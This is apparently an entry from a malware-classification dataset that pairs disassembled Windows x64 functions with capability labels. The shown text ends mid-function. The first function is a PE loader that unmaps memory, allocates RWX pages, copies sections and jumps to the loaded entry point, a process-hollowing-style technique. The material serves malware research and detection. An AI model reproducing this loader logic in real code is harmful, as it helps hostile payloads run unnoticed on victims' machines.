joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
lea r13, [rsp + 0x68]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], r13
mov r14, qword [r13]
xor r14, rdx
mov qword [rsp + 0x20], r14
xor edi, edi
mov qword [r13], rdi
mov r9d, 0x5a4d
movzx edx, word [0x140005040]
cmp dx, r9w
jne 0x140001809
mov rax, qword [0x14000507c]
cmp eax, 0x400
jg 0x140001809
movsxd rsi, eax
lea r12, [0x140005040]
add rsi, r12
cmp dword [rsi], 0x4550
jne 0x140001809
lea rcx, [rsp + 0x68]
lea r10, [rsp + 0x68]
mov r8, qword [r10]
cmp dx, r9w
je 0x1400016f8
mov qword [r10], r8
jmp 0x14000170a
movsxd rbx, eax
add rbx, 0xb0
add rbx, r12
cmp dword [rbx], 0
jne 0x14000170d
mov rbx, rdi
mov qword [rcx], rdi
mov r15, qword [rsi + 0x30]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [rsi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x140001788
test rbx, rbx
je 0x140001809
mov edx, dword [rsi + 0x50]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140001809
mov qword [rsi + 0x30], rbp
mov r8d, dword [rsi + 0x54]
mov rdx, r12
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
cmp di, word [rsi + 6]
jae 0x1400017d2
lea rbx, [rsi + 0x11c]
nop dword [rax + rax]
mov r8d, dword [rbx - 4]
mov edx, dword [rbx]
add rdx, r12
mov ecx, dword [rbx - 8]
add rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [rsi + 6]
cmp edi, eax
jl 0x1400017b0
mov rcx, rbp
call fcn.140001080
cmp rbp, r15
je 0x1400017f1
mov r9d, dword [rsi + 0x50]
mov r8, rbp
mov rdx, r15
mov rcx, rbp
call fcn.140001360
mov eax, dword [rsi + 0x28]
add rax, rbp
call rax
nop
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
jmp 0x140001818
movabs rax, 0xff00ff00ff00ff00
xor r14, rax
xor al, al
mov qword [r13], r14
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001900
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x1400021dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002226
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002226
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002226
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002226
cmp dword [rcx + 0x84], 0xe
jbe 0x140002226
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002228
xor al, al
add rsp, 0x28
ret
Function at 0x140007bf0
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x870
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rsp + 0x860], rax
mov r13, qword [rsp + 0x8c8]
mov r14, rcx
mov dword [rsp + 0x24], r8d
xor ebp, ebp
mov dword [rsp + 0x28], edx
mov r8d, 0x401
mov qword [rsp + 0x38], rcx
xor edx, edx
lea rcx, [rsp + 0x40]
mov word [rsp + 0x20], r9w
mov r12d, ebp
call main
xor edx, edx
lea rcx, [rsp + 0x450]
mov r8d, 0x401
call main
lea rbx, [rsp + 0x40]
mov qword [rsp + 0x30], rbx
lea rdi, [rsp + 0x450]
lfence
mov r9d, 0x400
lea rcx, [rsp + 0x40]
mov r8, r14
lea edx, [r9 + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov byte [rsp + 0x440], bpl
lea r15, [rbp - 1]
nop word [rax + rax]
mov rcx, r14
mov qword [r13], rbp
mov rsi, r13
mov byte [rdi], bpl
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov r14, rax
test rax, rax
je 0x140007e0f
cmp word [rax + 0x10], 2
jne 0x140007d27
cmp word [rax + 0x12], 4
jne 0x140007d27
mov rbx, qword [rax + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x140007d22
nop dword [rax]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x20]
mov edx, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
call fcn.140007b50
mov qword [rsi], rax
test rax, rax
je 0x140007e08
add rbx, 8
lea rsi, [rax + 0x28]
mov rax, qword [rbx]
test rax, rax
jne 0x140007cf0
mov rbx, qword [rsp + 0x30]
lfence
mov r8, qword [r14]
mov r9d, 0x400
mov rcx, rdi
lea edx, [r9 + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
mov byte [rdi + 0x400], bpl
cmp qword [r13], rbp
jne 0x140007db0
mov rax, r15
inc rax
cmp byte [rdi + rax], bpl
jne 0x140007d50
test rax, rax
je 0x140007e29
mov r8, rdi
mov rax, rbx
sub r8, rbx
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140007d83
inc rax
test ecx, ecx
jne 0x140007d70
test edx, edx
je 0x140007e29
inc r12d
cmp r12d, 0x10
je 0x140007e29
mov r14, qword [rsp + 0x38]
mov rax, rbx
mov rbx, rdi
mov rdi, rax
mov qword [rsp + 0x30], rbx
jmp 0x140007cb0
cmp dword [rsp + 0x8c0], ebp
je 0x140007e3c
nop dword [rax]
cmp byte [rdi + r15 + 1], bpl
lea r15, [r15 + 1]
jne 0x140007dc0
lea rdx, [r15 + 1]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x140007de7
mov rbx, rbp
jmp 0x140007df6
mov r8, rdi
lea rdx, [r15 + 1]
mov rcx, rax
call fcn.140032100
mov rax, qword [r13]
mov qword [rax + 0x18], rbx
mov rax, qword [r13]
cmp qword [rax + 0x18], rbp
jne 0x140007e3c
mov ebp, 8
jmp 0x140007e3c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2af9
je 0x140007e37
sub ecx, 1
je 0x140007e30
sub ecx, 1
jne 0x140007e37
mov ebp, 0x2afb
jmp 0x140007e3c
mov ebp, 0x2afa
jmp 0x140007e3c
mov ebp, 0x2af9
mov eax, ebp
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.140160900
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140009ea0
Capabilities:
Hash data using sha1

Disassembly:
sub rsp, 0x18
xor eax, eax
mov dword [rcx], 0x67452301
cmp qword [0x1401fb0b0], rax
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov dword [rcx + 0x10], 0xc3d2e1f0
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], rax
jne 0x140009f1a
xor ecx, ecx
mov qword [rsp + 0x10], rbx
cpuid
cmp eax, 7
jl 0x140009ef8
xor ecx, ecx
mov eax, 7
cpuid
shr ebx, 0x1d
and bl, 1
jmp 0x140009efa
xor bl, bl
test bl, bl
lea rax, [0x14000b140]
mov rbx, qword [rsp + 0x10]
lea rcx, [0x140009f20]
cmove rax, rcx
mov qword [0x1401fb0b0], rax
add rsp, 0x18
ret
Function at 0x140013b70
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
test rdx, rdx
je 0x140013bbb
mov eax, dword [rdx]
test eax, eax
je 0x140013bbb
cmp eax, 1
je 0x140013c1c
mov eax, dword [rdx + 4]
add rdx, 8
add rdx, rax
mov eax, dword [rdx]
test eax, eax
jne 0x140013ba6
lea rax, [rbp - 0x28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 0x104
xor edi, edi
mov qword [rbp - 0x30], rdi
lea r8, [rbp - 0x40]
call fcn.14001e6b0
test al, al
je 0x140013d44
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb ebx, ebx
neg ebx
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x40]
cmp rcx, rax
je 0x140013c0a
test rcx, rcx
je 0x140013c0a
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea edi, [rbx - 1]
test edi, edi
jne 0x140013d5c
xor eax, eax
jmp 0x140013d68
mov rdx, rcx
lea rcx, [rsp + 0x50]
call qword [0x1401f2248]
mov dword [rsp + 0x60], gethostbyaddr
xor edi, edi
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x78], 0x40
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 7
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, 0x10100
lea rcx, [rsp + 0x38]
call qword [0x1401f21c0]
cmp eax, 0xc0000056
jne 0x140013c99
xor ecx, ecx
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140013c0d
test eax, eax
jns 0x140013cba
lfence
mov ecx, eax
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xffffffff
jmp 0x140013c0d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], 0x80
mov dword [rsp + 0x20], 4
lea r9d, [rax + 0x28]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f21e0]
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x20], ntohs
mov r9d, 1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f21e0]
mov ebx, eax
mov ecx, eax
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f2238]
test ebx, ebx
setns dil
dec edi
jmp 0x140013c0d
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x40]
cmp rcx, rax
je 0x140013d5c
test rcx, rcx
je 0x140013d5c
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140021590
mov ecx, eax
call fcn.14001f700
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140160900
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140014030
Capabilities:
Get file size

Disassembly:
push rdi
sub rsp, 0x30
xor edx, edx
mov dword [rsp + 0x20], 0
lea r9d, [rdx + 3]
lea r8d, [rdx + 0x10]
call fcn.14001ead0
mov rdi, rax
test rax, rax
jne 0x14001405b
add rsp, 0x30
pop rdi
ret
lea rdx, [rsp + 0x4c]
mov qword [rsp + 0x40], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48], eax
cmp eax, 0xffffffff
jne 0x140014091
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x48]
mov rcx, 0xffffffffffffffff
test eax, eax
cmovne rbx, rcx
jmp 0x140014096
mov rbx, qword [rsp + 0x48]
mov rcx, rdi
call qword [0x1401f2070]
test rbx, rbx
mov rbx, qword [rsp + 0x40]
setg al
add rsp, 0x30
pop rdi
ret

Function at 0x140015400
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov qword [r9], 0
mov rdi, r9
mov eax, dword [rcx + 0x18]
mov rbx, rcx
and eax, 1
mov r9d, eax
or r9d, 2
test byte [rcx + 0x18], 2
mov rcx, qword [rcx + 0x10]
cmove r9d, eax
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140015478
cdqe
cmp rax, 0xffffffffffffffff
je 0x140015478
test rax, rax
jne 0x140015468
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x18]
call qword [case.0x1400309a4.0]
mov eax, 0x4e34
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov qword [rdi], rax
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call fcn.140021590
cmp eax, 0x10
jne 0x140015492
mov eax, 0x4e35
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x18]
call qword [case.0x1400309a4.0]
mov rbx, qword [rsp + 0x30]
mov eax, 0x4e2a
add rsp, 0x20
pop rdi
ret
Function at 0x140015770
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rsi, r9
mov qword [r9], rbx
mov rdi, rcx
cmp dword [rcx + 0x1080], 1
jne 0x1400157a8
mov eax, 0x4e3b
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp byte [rsp + 0x60], bl
je 0x1400157e6
mov eax, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov dword [rsp + 0x20], eax
call fcn.140020140
cmp rax, 0xffffffffffffffff
je 0x14001585f
test rax, rax
je 0x140015817
mov qword [rsi], rax
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov eax, dword [rcx + 0x18]
and eax, 1
mov r9d, eax
or r9d, 2
test byte [rcx + 0x18], 2
mov rcx, qword [rcx + 0x10]
cmove r9d, eax
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14001583e
cdqe
cmp rax, 0xffffffffffffffff
je 0x14001583e
test rax, rax
jne 0x1400157d1
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 0x18]
call qword [case.0x1400309a4.0]
mov ebx, 0x4e34
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
call fcn.140021590
cmp eax, 0x10
jne 0x14001585f
mov ebx, 0x4e35
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rax, qword [rdi]
mov rcx, rdi
mov rax, qword [rax + 0x18]
call qword [case.0x1400309a4.0]
mov rsi, qword [rsp + 0x48]
mov ebx, 0x4e2a
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14001eca0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
test rdx, rdx
je 0x14001eceb
mov eax, dword [rdx]
test eax, eax
je 0x14001eceb
cmp eax, 1
je 0x14001ed29
mov eax, dword [rdx + 4]
add rdx, 8
add rdx, rax
mov eax, dword [rdx]
test eax, eax
jne 0x14001ecd6
lea rax, [rbp - 0x28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 0x104
xor edi, edi
mov qword [rbp - 0x30], rdi
lea r8, [rbp - 0x40]
call fcn.14001e6b0
test al, al
je 0x14001ee54
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb ebx, ebx
neg ebx
dec ebx
jmp 0x14001ee59
mov rdx, rcx
lea rcx, [rsp + 0x50]
call qword [0x1401f2248]
mov dword [rsp + 0x60], gethostbyaddr
xor edi, edi
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x78], 0x40
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 7
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x60]
mov edx, 0x10100
lea rcx, [rsp + 0x38]
call qword [0x1401f21c0]
cmp eax, 0xc0000056
jne 0x14001eda8
xor ecx, ecx
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
jmp 0x14001ee73
test eax, eax
jns 0x14001edcb
lfence
mov ecx, eax
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xffffffff
mov eax, edi
jmp 0x14001ee73
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], 0x80
mov dword [rsp + 0x20], 4
lea r9d, [rax + 0x28]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f21e0]
mov byte [rsp + 0x30], 1
mov dword [rsp + 0x20], ntohs
mov r9d, 1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f21e0]
mov ebx, eax
mov ecx, eax
call qword [0x1401f21e8]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0x38]
call qword [0x1401f2238]
test ebx, ebx
setns dil
dec edi
mov eax, edi
jmp 0x14001ee73
mov ebx, 0xffffffff
lea rax, [rbp - 0x28]
mov rcx, qword [rbp - 0x40]
cmp rcx, rax
je 0x14001ee71
test rcx, rcx
je 0x14001ee71
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140160900
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14001f210
Capabilities:
Set file attributes

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ebx, r8d
test rdx, rdx
je 0x14001f259
mov eax, dword [rdx]
test eax, eax
je 0x14001f259
nop dword [rax]
cmp eax, 1
je 0x14001f317
mov eax, dword [rdx + 4]
add rdx, 8
add rdx, rax
mov eax, dword [rdx]
test eax, eax
jne 0x14001f240
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x104
mov qword [rsp + 0x30], 0
lea r8, [rsp + 0x20]
call fcn.14001e6b0
test al, al
je 0x14001f31e
mov ecx, ebx
and ecx, 1
mov edx, ecx
or edx, 2
test bl, 2
cmove edx, ecx
mov ecx, edx
or ecx, 4
test bl, 4
cmove ecx, edx
mov edx, ecx
or edx, 0x10
test bl, 8
cmove edx, ecx
mov ecx, edx
bts ecx, 0xa
test bl, 0x10
cmove ecx, edx
mov edx, ecx
bts edx, 7
test bl, 0x20
cmove edx, ecx
mov r8d, edx
bts r8d, 9
test bl, 0x80
cmove r8d, edx
mov ecx, r8d
bts ecx, 0x12
bt ebx, 8
cmovae ecx, r8d
mov r8d, ecx
bts r8d, 0x16
bt ebx, 9
cmovae r8d, ecx
mov edx, r8d
bts edx, 0xc
bt ebx, 0xb
cmovae edx, r8d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
neg eax
sbb ebx, ebx
neg ebx
dec ebx
jmp 0x14001f323
call fcn.1400213b0
jmp 0x14001f33f
mov ebx, 0xffffffff
lea rax, [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
cmp rcx, rax
je 0x14001f33d
test rcx, rcx
je 0x14001f33d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140160900
add rsp, 0x250
pop rbx
ret
Function at 0x14001f830
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x48
test r8, r8
je case.0x14001f865.9
mov r8d, dword [r8]
lea eax, [rdx - 1]
mov dword [rsp + 0x38], r8d
cmp eax, 0xe
ja case.0x14001f865.4
lea r9, [0x140000000]
cdqe
mov edx, dword [r9 + rax*4 + 0x1f9ec]
add rdx, r9
jmp rdx
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
lea eax, [rcx - 1]
add rsp, 0x48
ret
mov dword [rsp + 0x30], r8d
lea r9, [rsp + 0x30]
mov r8d, 4
movsxd rcx, ecx
mov edx, 0xffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
mov dword [rsp + 0x30], r8d
lea r9, [rsp + 0x30]
mov r8d, 0xfffffffb
movsxd rcx, ecx
mov edx, 0xffff
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
mov edx, 0x29
mov dword [rsp + 0x30], r8d
movsxd rcx, ecx
lea r9, [rsp + 0x30]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 0xe]
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
xor edx, edx
mov dword [rsp + 0x30], r8d
mov r8d, 9
movsxd rcx, ecx
lea r9, [rsp + 0x30]
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
xor edx, edx
mov dword [rsp + 0x30], r8d
movsxd rcx, ecx
lea r9, [rsp + 0x30]
mov dword [rsp + 0x20], 4
lea r8d, [rdx + 0xa]
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
xor edx, edx
mov dword [rsp + 0x30], r8d
movsxd rcx, ecx
lea r9, [rsp + 0x30]
mov dword [rsp + 0x20], 4
lea r8d, [rdx + 0xb]
call qword [sym.imp.WS2_32.dll_setsockopt]
neg eax
sbb eax, eax
add rsp, 0x48
ret
mov edx, 0x29
jmp 0x14001f914
mov edx, 0x29
mov dword [rsp + 0x30], r8d
lea r8d, [rdx - 0x1f]
jmp 0x14001f91f
mov edx, 0x29
mov dword [rsp + 0x30], r8d
lea r8d, [rdx - 0x1e]
jmp 0x14001f91f
mov edx, 6
mov dword [rsp + 0x30], r8d
lea r8d, [rdx - 5]
jmp 0x14001f91f
mov ecx, 0xa
call int.140021860
mov eax, 0xffffffff
add rsp, 0x48
ret
Function at 0x14001ff30
Capabilities:
Connect socket
Get socket status

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x690
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rsp + 0x670], rax
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
cmp rcx, 0xffffffffffffffff
jne 0x14001ff6b
lea ecx, [rdi + 0xb]
call int.140021860
mov eax, edi
jmp 0x14002010a
mov qword [rsp + 0x6c0], rbp
lea r8, [rsp + 0x30]
mov qword [rsp + 0x688], r14
mov edx, 1
mov qword [rsp + 0x680], r15
mov dword [rsp + 0x30], 1
call fcn.14001f830
test eax, eax
jne 0x1400200ed
mov r8d, dword [rbx + 8]
mov rdx, qword [rbx]
movsxd rbp, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140020129
call fcn.140021590
cmp eax, 0x10
jne 0x1400200ed
xor eax, eax
mov dword [rsp + 0x50], 0xffffffff
mov r8, rdi
mov word [rsp + 0x54], ax
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x56], al
lea edx, [rax + 1]
call fcn.14001fea0
mov r8, rdi
lea rcx, [rsp + 0x50]
mov edx, 2
call fcn.14001fea0
xor r14d, r14d
lea r15d, [r14 + 0x64]
mov rax, r14
test esi, esi
js 0x140020043
movzx eax, byte [0x1401fb0d0]
mov ecx, esi
test al, al
nop
mov eax, 0x10624dd3
cmovne ecx, r15d
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [rsp + 0x38], edx
sub ecx, eax
imul eax, ecx, 0x3e8
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x38]
cmp byte [rsp + 0x56], r14b
lea r9, [rsp + 0x468]
lea r8, [rsp + 0x260]
mov qword [rsp + 0x20], rax
cmove r9, r14
lea rdx, [rsp + 0x58]
cmp byte [rsp + 0x55], r14b
cmove r8, r14
cmp byte [rsp + 0x54], r14b
cmove rdx, r14
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x1400200ed
test eax, eax
je 0x14002012d
cmp eax, 1
jl 0x1400200ed
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 4
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov r8d, 0x1007
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x1400200ed
call fcn.140021590
mov ebx, eax
cmp byte [rsp + 0x55], r14b
je 0x1400200e4
lea rdx, [rsp + 0x260]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x140020125
cmp ebx, 0x10
je 0x140020007
mov eax, 0xffffffff
mov r14, qword [rsp + 0x688]
mov rbp, qword [rsp + 0x6c0]
mov r15, qword [rsp + 0x680]
mov rcx, qword [rsp + 0x670]
xor rcx, rsp
call fcn.140160900
add rsp, 0x690
pop rdi
pop rsi
pop rbx
ret
test ebx, ebx
jne 0x1400200ed
xor eax, eax
jmp 0x1400200f2
mov ecx, reloc.WS2_32.dll_ntohs
call int.140021860
jmp 0x1400200ed
Function at 0x140023040
Capabilities:
Get common file path

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r9, r9
je 0x14002307b
mov r8, r9
mov rdx, rbx
mov rcx, rdi
call fcn.140032170
jmp 0x14002308e
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400230f9
mov eax, eax
cmp rax, rbx
ja 0x1400230f9
lea r9, [rsp + 0x20]
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x1400230f9
test rbx, rbx
je 0x1400230f5
lea rcx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400230c0
lea r8, [rsp + 0x20]
mov rdx, rbx
mov rcx, rdi
cmp rax, rbx
jae 0x1400230e4
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor eax, eax
jmp 0x140023100
lea r9, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy_s]
xor eax, eax
mov word [rdi + rbx*2 - 2], ax
xor eax, eax
jmp 0x140023100
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140160900
add rsp, 0x240
pop rdi
pop rsi
pop rbx
ret

Function at 0x140023120
Capabilities:
Get file size

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x1401f2308]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbx, r9
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
test rdx, rdx
jne 0x14002314e
test rbx, rbx
je 0x14002318a
lea rdx, [rsp + 0x28]
